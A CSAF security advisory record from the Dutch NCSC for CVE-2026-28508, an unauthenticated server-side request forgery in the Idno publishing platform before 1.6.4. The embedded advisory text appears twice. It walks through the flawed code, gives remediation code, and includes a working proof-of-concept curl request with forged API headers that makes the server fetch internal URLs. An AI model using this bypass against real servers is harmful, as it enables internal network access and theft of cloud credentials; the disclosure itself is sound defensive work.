{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-28508",
        "tracking": {
            "current_release_date": "2026-03-23T10:47:55.987696Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-28508",
            "initial_release_date": "2026-03-03T19:09:03.476116Z",
            "revision_history": [
                {
                    "date": "2026-03-03T19:09:03.476116Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-03T19:09:05.866526Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-04T18:31:55.576852Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (6).| Product Identifiers created (7).| Products created (2).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-04T18:31:57.650141Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T05:25:04.669671Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T05:25:06.346881Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T05:39:03.538388Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T14:52:57.497752Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-06T14:53:02.351173Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T16:00:51.167816Z",
                    "number": "10",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-06T16:39:10.724062Z",
                    "number": "11",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-06T18:30:37.721021Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-16T14:26:02.459852Z",
                    "number": "13",
                    "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-16T14:26:07.223162Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:36:53.142226Z",
                    "number": "15",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:36:57.099465Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "16"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.6.4",
                                "product": {
                                    "name": "vers:unknown/<1.6.4",
                                    "product_id": "CSAFPID-5829455",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:withknown:known:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Known"
                    }
                ],
                "category": "vendor",
                "name": "Known"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.6.4",
                                "product": {
                                    "name": "vers:unknown/<1.6.4",
                                    "product_id": "CSAFPID-5765413"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "idno"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0",
                                "product": {
                                    "name": "vers:unknown/1.0.0",
                                    "product_id": "CSAFPID-4940335",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0-rc.1",
                                "product": {
                                    "name": "vers:unknown/1.0.0-rc.1",
                                    "product_id": "CSAFPID-4940336",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.0.0-rc.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0-rc.3",
                                "product": {
                                    "name": "vers:unknown/1.0.0-rc.3",
                                    "product_id": "CSAFPID-4940337",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.0.0-rc.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.2.2",
                                "product": {
                                    "name": "vers:unknown/1.2.2",
                                    "product_id": "CSAFPID-4940338",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.2.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5",
                                "product": {
                                    "name": "vers:unknown/1.5",
                                    "product_id": "CSAFPID-5609555",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.2",
                                "product": {
                                    "name": "vers:unknown/1.6.2",
                                    "product_id": "CSAFPID-5609556",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.6.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.3",
                                "product": {
                                    "name": "vers:unknown/1.6.3",
                                    "product_id": "CSAFPID-5759022",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.6.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<1.6.4",
                                "product": {
                                    "name": "vers:unknown/>=0|<1.6.4",
                                    "product_id": "CSAFPID-5759023"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "known"
                    }
                ],
                "category": "vendor",
                "name": "idno"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-28508",
            "cwe": {
                "id": "CWE-918",
                "name": "Server-Side Request Forgery (SSRF)"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\nA logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.\n\n**Component**: `Idno/Pages/Service/Web/UrlUnfurl.php`, `Idno/Core/Session.php`, `Idno/Core/Actions.php`  \n**Vulnerability Class**: [Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n**Authentication Required**: None  \n**CVSSv4 Base Score:** 9.2 (High) - [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)\n**Affected Endpoint**: GET `/service/web/unfurl?url=<attacker-controlled-url>`\nHandled by `Idno\\Pages\\Service\\Web\\UrlUnfurl::getContent()`.\n**Affected Versions**: <= 1.6.3\n```\ncat version.idno\nversion = '1.6.3'\nbuild = 2026021301\n```\n\n\n## Code Flow  \n### Step 1 — Endpoint access control  \n`UrlUnfurl::getContent()` (UrlUnfurl.php:36) enforces two access controls:  \n`$this->xhrGatekeeper();`\n`$this->tokenGatekeeper();`  \n\nNotably, the original authentication check (`$this->gatekeeper()`) was explicitly removed with the following comment left in the source:\n\n```php\n//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties\n// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse\n```\n\nThis leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.\n\n### Step 2 — Bypassing xhrGatekeeper()\n`Page::xhrGatekeeper()` (Page.php:876) checks whether the request was made with the X-Requested-With:\nXMLHttpRequest header:\n```php\nfunction xhrGatekeeper()\n{\n    if (!$this->xhr) {\n        $this->deniedContent();\n    }\n}\n```\n\nThis check is trivially bypassed by any HTTP client capable of setting custom headers.\n\n### Step 3 — Bypassing `tokenGatekeeper()` via premature API flag\n`Page::tokenGatekeeper()` (Page.php:887) calls `Actions::validateToken()`:\n```php\nfunction tokenGatekeeper()\n{\n    $url = $this->currentUrl();\n    $bits = explode('?', $url);\n    $url = $bits[0];\n    if (!\\Idno\\Core\\Idno::site()->actions()->validateToken($url, false)) {\n        $this->deniedContent();\n    }\n}\n```\n`Actions::validateToken()` (Actions.php:23) short-circuits entirely when `isAPIRequest()` returns true:\n\n```php\npublic static function validateToken($action = '', $haltExecutionOnBadRequest = true)\n{\n    if (Idno::site()->session()->isAPIRequest()) {\n        return true;\n    }\n    return parent::validateToken($action, $haltExecutionOnBadRequest);\n}\n```\n`isAPIRequest()` reads the `is_api_request` flag from the session:\n```php\nfunction isAPIRequest()\n{\n    if (!empty($_SESSION['is_api_request'])) {\n        return true;\n    }\n    return false;\n}\n```\nThe flag is set in `Session::tryAuthUser()` (Session.php:488), which runs early in the request lifecycle. The critical defect is here:\n```php\n$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;\n$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;\nif (!$return && !empty($apiUsername) && !empty($apiSignature)) {\n    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check\n    $user = \\Idno\\Entities\\User::getByHandle($apiUsername);\n    if (!empty($user)) {\n        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));\n        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late\n            $return = $this->refreshSessionUser($user);\n        }\n    }\n}\n```\n`setIsAPIRequest(true)` is called unconditionally as soon as both `X-IDNO-USERNAME` and `X-IDNO-SIGNATURE` headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time `tokenGatekeeper()` calls `validateToken()`, the API flag is already set and the token check returns true immediately.  \n\nAn attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.\n\n### Step 4 — The unfurl fetch\nWith both gatekeepers bypassed, execution reaches `UnfurledUrl::unfurl()` (UnfurledUrl.php:53):\n```php\npublic function unfurl($url)\n{\n    $url = trim($url);\n    if (!filter_var($url, FILTER_VALIDATE_URL)) {\n        return false;\n    }\n    $contents = \\Idno\\Core\\Webservice::file_get_contents($url);\n    ...\n    $this->data = $unfurled;\n    $this->source_url = $url;\n    return true;\n}\n```\n`FILTER_VALIDATE_URL` accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges.\nThe fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.\n\n## Proof of Concept\nStep 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.\n```\npython -m http.server --bind 127.0.0.1 9001\nServing HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...\n```\n\nStep 2: Verify that you cannot reach this server from a different system\n```\ncurl http://rpi:9001\ncurl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server\n```\nStep 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.\n```sh\ncurl -s \"http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html\" \\\n    -H \"X-Requested-With: XMLHttpRequest\" \\\n    -H \"X-IDNO-USERNAME: x\" \\\n    -H \"X-IDNO-SIGNATURE: x\"\n{\n    \"title\": \"Page Title\",\n    \"mf2\": {\n        \"items\": [],\n        \"rels\": [],\n        \"rel-urls\": []\n    },\n    \"id\": null,\n    \"rendered\": \"<div class=\\\"row unfurled-url\\\" id=\\\"unfurled-url-\\\" data-url=\\\"http:\\/\\/localhost:9001\\/test.html\\\">\\n    <div class=\\\"basics\\\">\\n                    \\n            <div class=\\\"text\\\">\\n                <h3><a href=\\\"http:\\/\\/localhost:9001\\/test.html\\\" target=\\\"_blank\\\">Page Title<\\/a><\\/h3>\\n                \\n                <!--<div class=\\\"byline\\\"><a href=\\\"http:\\/\\/localhost:9001\\/test.html\\\">localhost<\\/a><\\/div>-->\\n            <\\/div>\\n    <\\/div>\\n    \\n    <\\/div>\"\n}\n```\n\n\nhttps://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c\n\n\n\n## Impact\nAny unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:\n* Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM\ncredentials, which can be used to gain full access to the associated cloud account. On GCP and Azure\nequivalent endpoints expose OAuth tokens and subscription details.\n\n* Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.\n\n* Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.\n\n* Interaction with internal services\nServices such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.\n\n\n## Remediation\nMove `setIsAPIRequest(true)` to after successful HMAC verification:\n```php\nif ($hmac == $compare_hmac) {\n    $this->setIsAPIRequest(true);   // only set after credentials are verified\n    $return = $this->refreshSessionUser($user);\n}\n```\n\nDefence in depth — block private address ranges in unfurl():\nThe unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:\n```php\n$host = parse_url($url, PHP_URL_HOST);\nif (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    // allowed\n} else {\n    return false; // block private/reserved ranges\n}\n```\n\nNote: An attempt was made to email the address provided in the [security page](security@idno.co) but the address does not exist.\n\n```\nYour message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.\n```",
                    "title": "github - https://github.com/advisories/GHSA-fcrh-fqxh-6fx6"
                },
                {
                    "category": "description",
                    "text": "## Summary\nA logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.\n\n**Component**: `Idno/Pages/Service/Web/UrlUnfurl.php`, `Idno/Core/Session.php`, `Idno/Core/Actions.php`  \n**Vulnerability Class**: [Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n**Authentication Required**: None  \n**CVSSv4 Base Score:** 9.2 (High) - [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)\n**Affected Endpoint**: GET `/service/web/unfurl?url=<attacker-controlled-url>`\nHandled by `Idno\\Pages\\Service\\Web\\UrlUnfurl::getContent()`.\n**Affected Versions**: <= 1.6.3\n```\ncat version.idno\nversion = '1.6.3'\nbuild = 2026021301\n```\n\n\n## Code Flow  \n### Step 1 — Endpoint access control  \n`UrlUnfurl::getContent()` (UrlUnfurl.php:36) enforces two access controls:  \n`$this->xhrGatekeeper();`\n`$this->tokenGatekeeper();`  \n\nNotably, the original authentication check (`$this->gatekeeper()`) was explicitly removed with the following comment left in the source:\n\n```php\n//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties\n// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse\n```\n\nThis leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.\n\n### Step 2 — Bypassing xhrGatekeeper()\n`Page::xhrGatekeeper()` (Page.php:876) checks whether the request was made with the X-Requested-With:\nXMLHttpRequest header:\n```php\nfunction xhrGatekeeper()\n{\n    if (!$this->xhr) {\n        $this->deniedContent();\n    }\n}\n```\n\nThis check is trivially bypassed by any HTTP client capable of setting custom headers.\n\n### Step 3 — Bypassing `tokenGatekeeper()` via premature API flag\n`Page::tokenGatekeeper()` (Page.php:887) calls `Actions::validateToken()`:\n```php\nfunction tokenGatekeeper()\n{\n    $url = $this->currentUrl();\n    $bits = explode('?', $url);\n    $url = $bits[0];\n    if (!\\Idno\\Core\\Idno::site()->actions()->validateToken($url, false)) {\n        $this->deniedContent();\n    }\n}\n```\n`Actions::validateToken()` (Actions.php:23) short-circuits entirely when `isAPIRequest()` returns true:\n\n```php\npublic static function validateToken($action = '', $haltExecutionOnBadRequest = true)\n{\n    if (Idno::site()->session()->isAPIRequest()) {\n        return true;\n    }\n    return parent::validateToken($action, $haltExecutionOnBadRequest);\n}\n```\n`isAPIRequest()` reads the `is_api_request` flag from the session:\n```php\nfunction isAPIRequest()\n{\n    if (!empty($_SESSION['is_api_request'])) {\n        return true;\n    }\n    return false;\n}\n```\nThe flag is set in `Session::tryAuthUser()` (Session.php:488), which runs early in the request lifecycle. The critical defect is here:\n```php\n$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;\n$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;\nif (!$return && !empty($apiUsername) && !empty($apiSignature)) {\n    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check\n    $user = \\Idno\\Entities\\User::getByHandle($apiUsername);\n    if (!empty($user)) {\n        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));\n        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late\n            $return = $this->refreshSessionUser($user);\n        }\n    }\n}\n```\n`setIsAPIRequest(true)` is called unconditionally as soon as both `X-IDNO-USERNAME` and `X-IDNO-SIGNATURE` headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time `tokenGatekeeper()` calls `validateToken()`, the API flag is already set and the token check returns true immediately.  \n\nAn attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.\n\n### Step 4 — The unfurl fetch\nWith both gatekeepers bypassed, execution reaches `UnfurledUrl::unfurl()` (UnfurledUrl.php:53):\n```php\npublic function unfurl($url)\n{\n    $url = trim($url);\n    if (!filter_var($url, FILTER_VALIDATE_URL)) {\n        return false;\n    }\n    $contents = \\Idno\\Core\\Webservice::file_get_contents($url);\n    ...\n    $this->data = $unfurled;\n    $this->source_url = $url;\n    return true;\n}\n```\n`FILTER_VALIDATE_URL` accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges.\nThe fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.\n\n## Proof of Concept\nStep 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.\n```\npython -m http.server --bind 127.0.0.1 9001\nServing HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...\n```\n\nStep 2: Verify that you cannot reach this server from a different system\n```\ncurl http://rpi:9001\ncurl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server\n```\nStep 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.\n```sh\ncurl -s \"http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html\" \\\n    -H \"X-Requested-With: XMLHttpRequest\" \\\n    -H \"X-IDNO-USERNAME: x\" \\\n    -H \"X-IDNO-SIGNATURE: x\"\n{\n    \"title\": \"Page Title\",\n    \"mf2\": {\n        \"items\": [],\n        \"rels\": [],\n        \"rel-urls\": []\n    },\n    \"id\": null,\n    \"rendered\": \"<div class=\\\"row unfurled-url\\\" id=\\\"unfurled-url-\\\" data-url=\\\"http:\\/\\/localhost:9001\\/test.html\\\">\\n    <div class=\\\"basics\\\">\\n                    \\n            <div class=\\\"text\\\">\\n                <h3><a href=\\\"http:\\/\\/localhost:9001\\/test.html\\\" target=\\\"_blank\\\">Page Title<\\/a><\\/h3>\\n                \\n                <!--<div class=\\\"byline\\\"><a href=\\\"http:\\/\\/localhost:9001\\/test.html\\\">localhost<\\/a><\\/div>-->\\n            <\\/div>\\n    <\\/div>\\n    \\n    <\\/div>\"\n}\n```\n\n\nhttps://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c\n\n\n\n## Impact\nAny unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:\n* Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM\ncredentials, which can be used to gain full access to the associated cloud account. On GCP and Azure\nequivalent endpoints expose OAuth tokens and subscription details.\n\n* Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.\n\n* Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.\n\n* Interaction with internal services\nServices such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.\n\n\n## Remediation\nMove `setIsAPIRequest(true)` to after successful HMAC verification:\n```php\nif ($hmac == $compare_hmac) {\n    $this->setIsAPIRequest(true);   // only set after credentials are verified\n    $return = $this->refreshSessionUser($user);\n}\n```\n\nDefence in depth — block private address ranges in unfurl():\nThe unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:\n```php\n$host = parse_url($url, PHP_URL_HOST);\nif (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n    // allowed\n} else {\n    return false; // block private/reserved ranges\n}\n```\n\nNote: An attempt was made to email the address provided in the [security page](security@idno.co) but the address does not exist.\n\n```\nYour message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.\n```",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-fcrh-fqxh-6fx6.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Idno is a social publishing platform. Prior to version 1.6.4, a logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content. This issue has been patched in version 1.6.4.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28508"
                },
                {
                    "category": "description",
                    "text": "Idno is a social publishing platform. Prior to version 1.6.4, a logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content. This issue has been patched in version 1.6.4.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28508"
                },
                {
                    "category": "other",
                    "text": "0.00132",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "9.2",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-4940335",
                    "CSAFPID-4940336",
                    "CSAFPID-4940337",
                    "CSAFPID-4940338",
                    "CSAFPID-5609555",
                    "CSAFPID-5609556",
                    "CSAFPID-5759022",
                    "CSAFPID-5759023",
                    "CSAFPID-5765413",
                    "CSAFPID-5829455"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-fcrh-fqxh-6fx6"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-fcrh-fqxh-6fx6"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-fcrh-fqxh-6fx6.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28508"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28508"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-28508"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28508.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28508"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/idno/idno/security/advisories/GHSA-fcrh-fqxh-6fx6"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/idno/idno/releases/tag/1.6.4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-fcrh-fqxh-6fx6"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28508"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
                        "baseScore": 8.6,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-4940335",
                        "CSAFPID-4940336",
                        "CSAFPID-4940337",
                        "CSAFPID-4940338",
                        "CSAFPID-5609555",
                        "CSAFPID-5609556",
                        "CSAFPID-5759022",
                        "CSAFPID-5759023",
                        "CSAFPID-5765413",
                        "CSAFPID-5829455"
                    ]
                }
            ],
            "title": "CVE-2026-28508"
        }
    ]
}